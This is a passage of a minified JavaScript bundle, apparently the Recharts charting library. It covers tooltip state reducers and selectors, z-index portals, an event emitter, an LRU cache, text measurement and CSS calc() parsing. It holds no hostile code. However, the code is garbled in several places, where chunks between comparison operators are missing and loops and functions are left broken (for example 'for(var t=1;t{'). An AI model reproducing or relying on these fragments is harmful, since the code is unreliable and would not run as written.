xisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:q7,replaceTooltipEntrySettings:Y7,removeTooltipEntrySettings:G7,setTooltipSettingsState:X7,setActiveMouseOverItemIndex:K4,mouseLeaveItem:Z7,mouseLeaveChart:q4,setActiveClickItemIndex:Q7,setMouseOverAxisIndex:Y4,setMouseClickAxisIndex:J7,setSyncInteraction:Gm,setKeyboardInteraction:Xm}=H4.actions,eD=H4.reducer;function X1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function _l(e){for(var t=1;t{if(t==null)return Br;var i=iD(e,t,n);if(i==null)return Br;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var a=e.settings.active===!0;if(aD(i)){if(a)return _l(_l({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return _l(_l({},Br),{},{coordinate:i.coordinate})};function sD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function oD(e,t){var n=sD(e),r=t[0],i=t[1];if(n===void 0)return!1;var a=Math.min(r,i),o=Math.max(r,i);return n>=a&&n<=o}function lD(e,t,n){if(n==null||t==null)return!0;var r=Ie(e,t);return r==null||!wr(n)?!0:oD(r,n)}var M0=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var a=Number(i);if(!je(a))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(a,l)),u=t[c];return u==null||lD(u,n,r)?String(c):null},X4=(e,t,n,r,i,a,o)=>{if(a!=null){var l=o[0],c=l==null?void 0:l.getPosition(a);if(c!=null)return c;var u=i==null?void 0:i[Number(a)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},Z4=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var a=e.tooltipItemPayloads[0];return a!=null?[a]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},Q4=e=>e.options.tooltipPayloadSearcher,ss=e=>e.tooltip;function Z1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Q1(e){for(var t=1;t{if(!(t==null||a==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((m,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=fD(g,l),b=Array.isArray(v)?Mk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,k;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?k=z5(b,r,i):k=a(b,t,c,j),Array.isArray(k))k.forEach(N=>{var z=Q1(Q1({},y),{},{name:N.name,unit:N.unit,color:void 0,fill:void 0});m.push(sy({tooltipEntrySettings:z,dataKey:N.dataKey,payload:N.payload,value:Ie(N.payload,N.dataKey),name:N.name}))});else{var S;m.push(sy({tooltipEntrySettings:y,dataKey:w,payload:k,value:Ie(k,w),name:(S=Ie(k,j))!==null&&S!==void 0?S:y==null?void 0:y.name}))}return m},f)}},L0=M([ot,g4,a0],O4),pD=M([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),mD=M([mt,rs],m0),os=M([pD,ot,mD],h0,{memoizeOptions:{resultEqualityCheck:Dd}}),hD=M([os],e=>e.filter(f0)),xD=M([os],x0,{memoizeOptions:{resultEqualityCheck:Dd}}),ls=M([xD,Er],v0),vD=M([hD,Er,ot],m4),I0=M([ls,ot,os],y0),eS=M([ot],b0),gD=M([ot],e=>e.allowDataOverflow),tS=M([eS,gD],GN),yD=M([os],e=>e.filter(f0)),bD=M([vD,yD,qo,s4],k4),wD=M([bD,Er,mt,tS],S4),jD=M([os],w4),kD=M([ls,ot,jD,$d,mt],k0,{memoizeOptions:{resultEqualityCheck:Id}}),ND=M([z4,mt,rs],as),SD=M([ND,mt],E4),zD=M([C4,mt,rs],as),CD=M([zD,mt],A4),PD=M([P4,mt,rs],as),ED=M([PD,mt],_4),AD=M([SD,ED,CD],hu),_D=M([ot,eS,tS,wD,kD,AD,Ee,mt],N0),Qo=M([ot,Ee,ls,I0,qo,mt,_D],S0),OD=M([Qo,ot,L0],P0),TD=M([ot,Qo,OD,mt],A0),nS=e=>{var t=mt(e),n=rs(e),r=!1;return Zo(e,t,n,r)},rS=M([ot,nS],Md),iS=M([ot,L0,TD,rS],C0),MD=M([Ee,I0,ot,mt],D4),LD=M([Ee,I0,ot,mt],R4),ID=(e,t,n,r,i,a,o,l)=>{if(t){var{type:c}=t,u=er(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?It(i[0]-i[1])*2*f:f,u&&o?o.map((m,h)=>{var x=r.map(m);return je(x)?{coordinate:x+f,value:m,index:h,offset:f}:null}).filter(Vn):r.domain().map((m,h)=>{var x=r.map(m);return je(x)?{coordinate:x+f,value:a?a[m]:m,index:h,offset:f}:null}).filter(Vn)}}},Or=M([Ee,ot,L0,iS,nS,MD,LD,mt],ID),D0=M([F4,W4,H7],(e,t,n)=>U4(n.shared,e,t)),aS=e=>e.tooltip.settings.trigger,R0=e=>e.tooltip.settings.defaultIndex,Jo=M([ss,D0,aS,R0],G4),Ha=M([Jo,ls,Xo,Qo],M0),sS=M([Or,Ha],V4),oS=M([Jo],e=>{if(e)return e.dataKey}),DD=M([Jo],e=>{if(e)return e.graphicalItemId}),lS=M([ss,D0,aS,R0],Z4),RD=M([zr,Cr,Ee,ft,Or,R0,lS],X4),$D=M([Jo,RD],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),BD=M([Jo],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),FD=M([lS,Ha,Er,Xo,sS,Q4,D0],J4),WD=M([FD],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function J1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function eb(e){for(var t=1;the(ot),qD=()=>{var e=KD(),t=he(Or),n=he(iS);return qc(!e||!n?void 0:eb(eb({},e),{},{scale:n}),t)};function tb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ra(e){for(var t=1;t{var i=t.find(a=>a&&a.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},QD=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var a=i.coordinate,{radius:o}=r;return ra(ra(ra({},r),et(r.cx,r.cy,o,a)),{},{angle:a,radius:o})}var l=i.coordinate,{angle:c}=r;return ra(ra(ra({},r),et(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function JD(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var cS=(e,t,n,r,i)=>{var a,o=(a=t==null?void 0:t.length)!==null&&a!==void 0?a:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(m=n[l+1])===null||m===void 0?void 0:m.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(It(x-h)!==It(g-x)){var v=[];if(It(g-x)===It(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var k;return(k=n[l])===null||k===void 0?void 0:k.index}}else{var S=Math.min(h,g),N=Math.max(h,g);if(e>(S+x)/2&&e<=(N+x)/2){var z;return(z=n[l])===null||z===void 0?void 0:z.index}}}else if(t)for(var O=0;O(E.coordinate+P.coordinate)/2||O>0&&O(E.coordinate+P.coordinate)/2&&e<=(E.coordinate+T.coordinate)/2)return E.index}}return-1},uS=()=>he(a0),$0=(e,t)=>t,dS=(e,t,n)=>n,B0=(e,t,n,r)=>r,eR=M(Or,e=>ad(e,t=>t.coordinate)),F0=M([ss,$0,dS,B0],G4),W0=M([F0,ls,Xo,Qo],M0),tR=(e,t,n)=>{if(t!=null){var r=ss(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},fS=M([ss,$0,dS,B0],Z4),xu=M([zr,Cr,Ee,ft,Or,B0,fS],X4),nR=M([F0,xu],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),pS=M([Or,W0],V4),rR=M([fS,W0,Er,Xo,pS,Q4,$0],J4),iR=M([F0,W0],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),aR=(e,t,n,r,i,a,o)=>{if(!(!e||!n||!r||!i)&&JD(e,o)){var l=K6(e,t),c=cS(l,a,i,n,r),u=ZD(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},sR=(e,t,n,r,i,a,o)=>{if(!(!e||!r||!i||!a||!n)){var l=YM(e,n);if(l){var c=q6(l,t),u=cS(c,o,a,r,i),d=QD(t,a,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},oR=(e,t,n,r,i,a,o,l)=>{if(!(!e||!t||!r||!i||!a))return t==="horizontal"||t==="vertical"?aR(e,t,r,i,a,o,l):sR(e,t,n,r,i,a,o)},lR=M(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),cR=M(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Rt)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:VI}});function nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function rb(e){for(var t=1;trb(rb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),pR)},hR=new Set(Object.values(Rt));function xR(e){return hR.has(e)}var mS=Ut({name:"zIndex",initialState:mR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:De()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!xR(n)&&delete e.zIndexMap[n])},prepare:De()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:De()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:De()}}}),{registerZIndexPortal:vR,unregisterZIndexPortal:gR,registerZIndexPortalElement:yR,unregisterZIndexPortalElement:bR}=mS.actions,wR=mS.reducer;function mi(e){var{zIndex:t,children:n}=e,r=kT(),i=r&&t!==void 0&&t!==0,a=In(),o=Qe();p.useLayoutEffect(()=>i?(o(vR({zIndex:t})),()=>{o(gR({zIndex:t}))}):Qa,[o,t,i]);var l=he(c=>lR(c,t,a));return i?l?Jh.createPortal(n,l):null:n}function Zm(){return Zm=Object.assign?Object.assign.bind():function(e){for(var t=1;tp.useContext(hS),xS={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function a(c,u,d,f,m){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,m),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var m=0,h=f.length,x=new Array(h);m{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!Xn(n))return e[n]}},_R={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},gS=Ut({name:"options",initialState:_R,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),OR=gS.reducer,{createEventEmitter:TR}=gS.actions;function MR(e){return e.tooltip.syncInteraction}var LR={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},yS=Ut({name:"chartData",initialState:LR,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:sb,setDataStartEndIndexes:IR,setComputedData:gV}=yS.actions,DR=yS.reducer,RR=["x","y"];function ob(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ia(e){for(var t=1;tc.rootProps.className);p.useEffect(()=>{if(e==null)return Qa;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var m;if(o&&d!==null&&d!==void 0&&(m=d.payload)!==null&&m!==void 0&&m.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=WR(h,RR),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,k=ia(ia({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(ia(ia({},d),{},{payload:ia(ia({},d.payload),{},{coordinate:k})}))}else n(d);return}if(i!=null){var S;if(typeof r=="function"){var N={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},z=r(i,N);S=i[z]}else r==="value"&&(S=i.find(L=>String(L.value)===d.payload.label));var{coordinate:O}=d.payload;if(S==null||d.payload.active===!1||O==null||o==null){n(Gm({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:E,y:T}=O,P=Math.min(E,o.x+o.width),U=Math.min(T,o.y+o.height),K={x:a==="horizontal"?S.coordinate:P,y:a==="horizontal"?U:S.coordinate},$=Gm({active:d.payload.active,coordinate:K,dataKey:d.payload.dataKey,index:String(S.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n($)}}};return Eo.on(Qm,c),()=>{Eo.off(Qm,c)}},[l,n,t,e,r,i,a,o])}function HR(){var e=he(s0),t=he(o0),n=Qe();p.useEffect(()=>{if(e==null)return Qa;var r=(i,a,o)=>{t!==o&&e===i&&n(IR(a))};return Eo.on(ab,r),()=>{Eo.off(ab,r)}},[n,t,e])}function KR(){var e=Qe();p.useEffect(()=>{e(TR())},[e]),VR(),HR()}function qR(e,t,n,r,i,a){var o=he(h=>tR(h,e,t)),l=he(o0),c=he(s0),u=he(o4),d=he(MR),f=d==null?void 0:d.active,m=bd();p.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=Gm({active:a,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:m,graphicalItemId:void 0});Eo.emit(Qm,c,h,l)}},[f,n,o,i,r,l,c,u,a,m])}function lb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function cb(e){for(var t=1;t{N(X7({shared:b,trigger:w,axisId:S,active:i,defaultIndex:z}))},[N,b,w,S,i,z]);var O=bd(),E=tN(),T=V7(b),{activeIndex:P,isActive:U}=(t=he(Y=>iR(Y,T,w,z)))!==null&&t!==void 0?t:{},K=he(Y=>rR(Y,T,w,z)),$=he(Y=>pS(Y,T,w,z)),L=he(Y=>nR(Y,T,w,z)),F=K,W=PR(),H=(n=i??U)!==null&&n!==void 0?n:!1,[B,q]=TO([F,H]),X=T==="axis"?$:void 0;qR(T,w,L,X,P,H);var se=k??W;if(se==null||O==null||T==null)return null;var ue=F??ub;H||(ue=ub),u&&ue.length&&(ue=Z_(ue.filter(Y=>Y.value!=null&&(Y.hide!==!0||r.includeHidden)),m,ZR));var fe=ue.length>0,me=p.createElement(YT,{allowEscapeViewBox:a,animationDuration:o,animationEasing:l,isAnimationActive:d,active:H,coordinate:L,hasPayload:fe,offset:f,position:h,reverseDirection:x,useTranslate3d:g,viewBox:O,wrapperStyle:y,lastBoundingBox:B,innerRef:q,hasPortalFromProps:!!k},QR(c,cb(cb({},r),{},{payload:ue,label:X,active:H,activeIndex:P,coordinate:L,accessibilityLayer:E})));return p.createElement(p.Fragment,null,Jh.createPortal(me,se),H&&p.createElement(CR,{cursor:v,tooltipEventType:T,coordinate:L,payload:ue,index:P}))}var Ud=e=>null;Ud.displayName="Cell";function e9(e,t,n){return(t=t9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function t9(e){var t=n9(e,"string");return typeof t=="symbol"?t:t+""}function n9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class r9{constructor(t){e9(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function fb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function i9(e){for(var t=1;t{try{var n=document.getElementById(mb);n||(n=document.createElement("span"),n.setAttribute("id",mb),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,c9,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},xb=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||Nd.isSsr)return{width:0,height:0};if(!bS.enableCache)return hb(t,n);var r=u9(t,n),i=pb.get(r);if(i)return i;var a=hb(t,n);return pb.set(r,a),a},wS;function d9(e,t,n){return(t=f9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function f9(e){var t=p9(e,"string");return typeof t=="symbol"?t:t+""}function p9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var vb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,gb=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,m9=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,h9=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,x9={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},v9=["cm","mm","pt","pc","in","Q","px"];function g9(e){return v9.includes(e)}var ba="NaN";function y9(e,t){return e*x9[t]}class gt{static parse(t){var n,[,r,i]=(n=h9.exec(t))!==null&&n!==void 0?n:[];return r==null?gt.NaN:new gt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,Xn(t)&&(this.unit=""),n!==""&&!m9.test(n)&&(this.num=NaN,this.unit=""),g9(n)&&(this.num=y9(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new gt(NaN,""):new gt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new gt(NaN,""):new gt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new gt(NaN,""):new gt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new gt(NaN,""):new gt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return Xn(this.num)}}wS=gt;d9(gt,"NaN",new wS(NaN,""));function jS(e){if(e==null||e.includes(ba))return ba;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,a]=(n=vb.exec(t))!==null&&n!==void 0?n:[],o=gt.parse(r??""),l=gt.parse(a??""),c=i==="*"?o.multiply(l):o.divide(l);if(c.isNaN())return ba;t=t.replace(vb,c.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var u,[,d,f,m]=(u=gb.exec(t))!==null&&u!==void 0?u:[],h=gt.parse(d??""),x=gt.parse(m??""),g=f==="+"?h.add(x):h.subtract(x);if(g.isNaN())return ba;t=t.replace(gb,g.toString())}return t}var yb=/\(([^()]*)\)/;function b9(e){for(var t=e,n;(n=yb.exec(t))!=null;){var[,r]=n;t=t.replace(yb,jS(r))}return t}function w9(e){var t=e.replace(/\s+/g,"");return t=b9(t),t=jS(t),t}function j9(e){try{return w9(e)}catch{return ba}}function Jf(e){var t=j9(e.slice(5,-1));return t===ba?"":t}var k9=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],N9=["dx","dy","angle","className","breakAll"];function Jm(){return Jm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];jt(t)||(n?i=t.toString().split(""):i=t.toString().split(kS));var a=i.map(l=>({word:l,width:xb(l,r).width})),o=n?0:xb(" ",r).width;return{wordsWithComputedWidth:a,spaceWidth:o}}catch{return null}};function z9(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var SS=(e,t,n,r)=>e.reduce((i,a)=>{var{word:o,width:l}=a,c=i[i.length-1];if(c&&l!=null&&(t==null||r||c.width+l+ne.reduce((t,n)=>t.width>n.width?t:n),C9="…",wb=(e,t,n,r,i,a,o,l)=>{var c=e.slice(0,t),u=NS({breakAll:n,style:r,children:c+C9});if(!u)return[!1,[]];var d=SS(u.wordsWithComputedWidth,a,o,l),f=d.length>i||zS(d).width>Number(a);return[f,d]},P9=(e,t,n,r,i)=>{var{maxLines:a,children:o,style:l,breakAll:c}=e,u=de(a),d=String(o),f=SS(t,r,n,i);if(!u||i)return f;var m=f.length>a||zS(f).width>Number(r);if(!m)return f;for(var h=0,x=d.length-1,g=0,y;h<=x&&g<=d.length-1;){var v=Math.floor((h+x)/2),b=v-1,[w,j]=wb(d,b,c,l,a,r,n,i),[k]=wb(d,v,c,l,a,r,n,i);if(!w&&!k&&(h=v+1),w&&k&&(x=v-1),!w&&k){y=j;break}g++}return y||f},jb=e=>{var t=jt(e)?[]:e.toString().split(kS);return[{words:t,width:void 0}]},E9=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:a,maxLines:o}=e;if((t||n)&&!Nd.isSsr){var l,c,u=NS({breakAll:a,children:r,style:i});if(u){var{wordsWithComputedWidth:d,spaceWidth:f}=u;l=d,c=f}else return jb(r);return P9({breakAll:a,children:r,maxLines:o,style:i},l,c,t,!!n)}return jb(r)},CS="#808080",A9={angle:0,breakAll:!1,capHeight:"0.71em",fill:CS,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},U0=p.forwardRef((e,t)=>{var n=rn(e,A9),{x:r,y:i,lineHeight:a,capHeight:o,fill:l,scaleToFit:c,textAnchor:u,verticalAnchor:d}=n,f=bb(n,k9),m=p.useMemo(()=>E9({breakAll:f.breakAll,children:f.children,maxLines:f.maxLines,scaleToFit:c,style:f.style,width:f.width}),[f.breakAll,f.children,f.maxLines,c,f.style,f.width]),{dx:h,dy:x,angle:g,className:y,breakAll:v}=f,b=bb(f,N9);if(!xr(r)||!xr(i)||m.length===0)return null;var w=Number(r)+(de(h)?h:0),j=Number(i)+(de(x)?x:0);if(!je(w)||!je(j))return null;var k;switch(d){case"start":k=Jf("calc(".concat(o,")"));break;case"middle":k=Jf("calc(".concat((m.length-1)/2," * -").concat(a," + (").concat(o," / 2))"));break;default:k=Jf("calc(".concat(m.length-1," * -").concat(a,")"));break}var S=[],N=m[0];if(c&&N!=null){var z=N.width,{width:O}=f;S.push("scale(".concat(de(O)&&de(z)?O/z:1,")"))}return g&&S.push("rotate(".concat(g,", ").concat(w,", ").concat(j,")")),S.length&&(b.transform=S.join(" ")),p.createElement("text",Jm({},At(b),{ref:t,x:w,y:j,className:Ve("recharts-text",y),textAnchor:u,fill:l.includes("url")?CS:l}),m.map((E,T)=>{var P=E.words.join(v?"":" ");return p.createElement("tspan",{x:w,dy:T===0?k:a,key:"".concat(P,"-").concat(T)},P)}))});U0.displayName="Text";function kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Fn(e){for(var t=1;t{var{viewBox:t,position:n,offset:r=0,parentViewBox:i}=e,{x:a,y:o,height:l,upperWidth:c,lowerWidth:u}=_x(t),d=a,f=a+(c-u)/2,m=(d+f)/2,h=(c+u)/2,x=d+c/2,g=l>=0?1:-1,y=g*r,v=g>0?"end":"start",b=g>0?"start":"end",w=c>=0?1:-1,j=w*r,k=w>0?"end":"start",S=w>0?"start":"end",N=i;if(n==="top"){var z={x:d+c/2,y:o-y,horizontalAnchor:"middle",verticalAnchor:v};return 